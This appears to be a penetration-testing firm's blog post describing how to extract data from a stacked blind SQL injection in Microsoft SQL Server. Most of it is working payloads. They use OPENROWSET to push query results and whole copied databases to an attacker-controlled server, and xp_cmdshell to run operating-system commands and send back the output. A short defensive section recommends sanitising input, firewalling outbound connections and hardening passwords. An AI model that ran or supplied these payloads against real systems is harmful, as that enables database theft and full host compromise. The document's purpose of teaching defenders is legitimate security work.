Stacked based MSSQL blind injection bypass methodology

imagensecforcepost.png

f you have a blind SQL injection you are already in a good position. Exploitation however, depending on the type of the blind SQL injection, can take time.

This post is part of a methodology used for obtaining output from a stacked based blind SQL injection.

Requirements:

  1. Stacked based Blind SQL injection
  2. Local MSSQL database server (MSSQL server express was used in this example)
  3. Improper remote firewall configuration (allows outbound connections)
  4. #include < brain.h >

If all of the requirements above are met then the following technique can be used:

CREATE DATABASE output_db;
  CREATE TABLE output_db..output ( result VARCHAR(MAX) );
; INSERT INTO OPENROWSET(
    'SQLOLEDB','server=LOCAL_SERVER_IP;uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS',
    output_db.dbo.output) 
      SELECT @@version;

This instructs the remote database server to connect to the local database and write the result of SELECT @@version command. If SELECT * from output_db..output returns any results then you are in luck otherwise continue using sqlmap.

Now we can change the “SELECT @@version” part to run any command we want and the results are going to get saved our database.

NOTE: OPENROWSET needs the destination table to have the same columns as the ones returned by the remote command and *similar* types to avoid any errors

Copying Databases:

SELECT TOP 0 * INTO master_copy..sysdatabases from master..sysdatabases;
  DELETE master_copy..sysdatabases;

Copy the Remote sysobjects over to master_copy..sysdatabases;

; INSERT INTO OPENROWSET('SQLOLEDB',
    'server=LOCAL_SERVER_IP;uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS',
    master_copy..sysdatabases;) 
        SELECT * FROM master..sysdatabases;

For every returned name create a new database and list tables

CREATE DATABASE LOCAL_DB_NAME;
  CREATE TABLE LOCAL_DB_NAME..tables( names VARCHAR(MAX) );
  ; INSERT INTO OPENROWSET('SQLOLEDB',
    'server=LOCAL_SERVER_IP;uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS',
      LOCAL_DB_NAME..tables;) 
        SELECT name FROM REMOTE_DB_NAME..sysobjects WHERE xtype = 'U';

For every returned table create a new table for to hold the column data

CREATE DATABASE LOCAL_DB_NAME.columns ( name VARCHAR(MAX), type VARCHAR(MAX) );
  ; INSERT INTO OPENROWSET('SQLOLEDB','server=localhost;uid=sa;pwd=sa',
      LOCAL_DB_NAME.dbo.columns)
        SELECT REMOTE_DB_NAME..syscolumns.name,
          TYPE_NAME(REMOTE_DB_NAME..syscolumns.xtype) FROM
          REMOTE_DB_NAME..syscolumns, REMOTE_DB_NAME..sysobjects WHERE
          REMOTE_DB_NAME..syscolumns.id=REMOTE_DB_NAME..sysobjects.id AND
          REMOTE_DB_NAME..sysobjects.name='sysobj';

Now create a new table with the same columns and data types and copy using the same command as above

; INSERT INTO OPENROWSET('SQLOLEDB','server=LOCAL_SERVER_IP;
      uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS',
      LOCAL_DB_NAME..TABLE;)
        SELECT * FROM REMOTE_DB_NAME..TABLE;

Advancing:

; INSERT INTO OPENROWSET(
    'SQLOLEDB','server=LOCAL_SERVER_IP; uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS',
    output_db.dbo.output)
    SELECT * FROM OPENROWSET(
     'SQLNCLI','server=localhost;uid=sa;pwd=**PASSWORD**','SELECT @@version'

Command execution with output of the results (if the sa password is known):

; INSERT INTO OPENROWSET('SQLOLEDB','server=LOCAL_SERVER_IP;
      uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS',
      output_db.dbo.output)
        SELECT * FROM OPENROWSET(
          'SQLNCLI','server=localhost;uid=sa;pwd=**PASSWORD**',
          'set fmtonly off; exec master..xp_cmdshell "dir"; '
        );

Advancing more:

NOTE: because of the fmtonly off instruction the issued command is going to be run twice. This makes echo-ing to script files a bit harder.

$ chmod -x attack //Protecting the web server (for the non pen-testers)

What went wrong – Recommendations:

First off all, the SQL injection, (*obviously*) sanitizing the input would be the first step. However this is only part of the problem, other factors contributed into making this attack vector possible. At least this would not lead to complete compromise of the server if a layered approach was taken and the perimeter was adequately protected.

For example if the outbound connections were firewalled (eg. deny all outbound and only allow incoming connections to the webserver), it would not be possible to make a remote connection to our own server in order to get the SQL results.

Secondly, hash AND SALT all database passwords. Many reasons for that just accept the fact that this is how it must/should be done.

Lastly, make the sa password hard to guess and do not reuse passwords, specifically administrative passwords.

If all of the above were implemented, then the attack would take significantly more time and the attacker would get at most an administrative password (for the web application) which hopefully would take years to crack. Instead of the attack taking a couple of hours and leading to complete compromise of the host.

Last note: all of the above scenarios are based on vague assumptions about the configuration or typical configurations.

You may also be interested in...

imagensecforcepost.png
Feb. 23, 2009

Penetration testing - service or commodity

Differencies between penetration testing and automated web vulnerability assessment

See more
imagensecforcepost.png
March 13, 2018

OpenSSH <=6.6 SFTP misconfiguration universal exploit

Recently our team ran into an interesting SFTP misconfiguration which allows for a reliable RCE on affected systems. The original discovery by Jann Horn can be found here http://seclists.org/fulldisclosure/2014/Oct/35. Although the affected OpenSSH version is a bit dated, it can still be found...

See more